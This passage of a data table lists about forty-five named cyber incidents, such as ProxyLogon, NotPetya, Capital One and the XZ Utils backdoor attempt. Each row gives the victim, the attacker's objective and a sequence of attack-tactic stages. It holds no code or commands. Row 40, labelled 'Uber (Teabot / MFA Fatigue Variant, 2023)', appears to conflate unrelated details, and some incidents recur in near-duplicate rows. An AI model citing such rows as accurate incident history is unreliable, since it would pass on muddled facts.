6	Microsoft Exchange ProxyLogon (2021)	Microsoft	Persistent server access	Initial Access → Execution → Persistence → Lateral Movement
7	Uber Breach (2022)	Uber	Privileged access abuse	Credential Access → Initial Access → Privilege Escalation → Impact
8	Okta Support System Breach (2023)	Okta	Identity compromise	Credential Access → Initial Access → Collection → Impact
9	NotPetya Destructive Attack (2017)	Maersk	Destruction	Initial Access → Lateral Movement → Impact
10	Twitter (X) Insider Social Engineering (2020)	Twitter	Account takeover	Reconnaissance → Credential Access → Initial Access → Impact
11	Capital One Cloud Breach (2019)	Capital One	Data theft	Initial Access → Privilege Escalation → Collection → Exfiltration
12	Kaseya VSA Ransomware (2021)	Kaseya	Mass ransomware	Initial Access → Execution → Lateral Movement → Impact

13	Lapsus\$ NVIDIA Breach (2022)	NVIDIA	Data extortion	Credential Access → Initial Access → Collection → Exfiltration → Impact
14	LastPass Breach (2022)	LastPass	Vault data theft	Initial Access → Persistence → Collection → Exfiltration
15	Samsung Source Code Leak (2022)	Samsung	IP theft	Credential Access → Initial Access → Collection → Exfiltration
16	Marriott Starwood Breach (2018)	Marriott International	Long-term espionage	Initial Access → Persistence → Collection → Exfiltration
17	Sony Pictures Hack (2014)	Sony Pictures	Destruction & data leak	Initial Access → Lateral Movement → Defense Evasion → Impact
18	Dropbox Credential Stuffing (2012)	Dropbox	Account access	Credential Access → Initial Access → Impact
19	Cisco VPN Breach (2022)	Cisco	Corporate access	Credential Access → Initial Access → Persistence
20	T-Mobile API Breach (2023)	T-Mobile	Customer data theft	Reconnaissance → Initial Access → Collection → Exfiltration
21	Yahoo Mega Breach (2013–2014)	Yahoo	Mass identity theft	Initial Access → Persistence → Collection → Exfiltration
22	Adobe Source Code Breach (2013)	Adobe	IP & credential theft	Initial Access → Credential Access → Collection → Exfiltration
23	Bangladesh Bank SWIFT Heist (2016)	Bangladesh Bank	Financial theft	Initial Access → Execution → Defense Evasion → Impact
24	WannaCry Ransomware (2017)	NHS	Disruption & ransom	Initial Access → Lateral Movement → Impact
25	Home Depot POS Breach (2014)	Home Depot	Credit card theft	Initial Access → Lateral Movement → Collection → Exfiltration
26	LinkedIn Data Scraping Incident (2021)	LinkedIn	Data harvesting	Reconnaissance → Collection → Exfiltration
27	Facebook OAuth Token Abuse (2018)	Facebook	Account takeover	Initial Access → Credential Access → Impact

28	British Airways Magecart Attack (2018)	British Airways	Payment card theft	Initial Access → Execution → Collection → Exfiltration
29	Zoom Credential Stuffing (2020)	Zoom	Account resale	Credential Access → Initial Access → Impact
30	Cloudflare Internal Tool Breach (2023)	Cloudflare	Internal access	Credential Access → Initial Access → Collection
31	JPMorgan Chase Breach (2014)	JPMorgan Chase	Customer data theft	Initial Access → Privilege Escalation → Collection → Exfiltration
32	eBay Account Breach (2014)	eBay	Account & PII theft	Credential Access → Initial Access → Collection
33	RSA SecurID Breach (2011)	RSA Security	Token seed theft	Initial Access → Execution → Collection → Exfiltration
34	Anthem Health Breach (2015)	Anthem	Healthcare data theft	Credential Access → Initial Access → Persistence → Collection → Exfiltration
35	Caesars Entertainment Cyber Attack (2023)	Caesars Entertainment	Data extortion	Credential Access → Initial Access → Collection → Impact
36	MGM Resorts Cyber Attack (2023)	MGM Resorts	Operational disruption & extortion	Credential Access → Initial Access → Lateral Movement → Impact
37	Codecov Bash Uploader Compromise (2021)	Codecov	Supply-chain espionage	Initial Access → Persistence → Collection → Exfiltration
38	Uber Data Exposure (2016)	Uber	Data theft	Credential Access → Initial Access → Collection → Exfiltration
39	Accellion FTA Breach (2020)	Accellion	Mass data theft	Reconnaissance → Initial Access → Persistence → Collection → Exfiltration
40	Uber (Teabot / MFA Fatigue Variant, 2023)	Uber	Identity & session abuse	Credential Access → Initial Access → Defense Evasion → Impact
41	Okta Customer Support Breach (2022)	Okta	Identity access	Credential Access → Initial Access → Collection

42	Microsoft Midnight Blizzard Email Breach (2024)	Microsoft	Espionage	Credential Access → Initial Access → Collection → Exfiltration
43	Change Healthcare Ransomware (2024)	Change Healthcare	Ransom & disruption	Credential Access → Initial Access → Lateral Movement → Impact
44	XZ Utils Backdoor Attempt (2024)	XZ Utils	Supply-chain backdoor	Persistence → Defense Evasion → Impact (attempted)
45	Discord Malware CDN Abuse (2023)	Discord	Malware delivery	Initial Access → Execution → Command and Control
46	PayPal Credential Stuffing Campaigns (2022–2023)	PayPal	Account takeover	Credential Access → Initial Access → Impact
47	Toyota Source Code Exposure (2023)	Toyota	IP exposure	Credential Access → Initial Access → Collection
48	Riot Games Social Engineering Breach (2023)	Riot Games	Source code theft	Credential Access → Initial Access → Collection → Exfiltration
49	23andMe Credential Stuffing Breach (2023)	23andMe	Sensitive data theft	Credential Access → Initial Access → Collection → Exfiltration
50	MOVEit Follow-On Extortion Campaigns (2024)	MOVEit Transfer	Secondary extortion	Initial Access → Collection → Exfiltration → Impact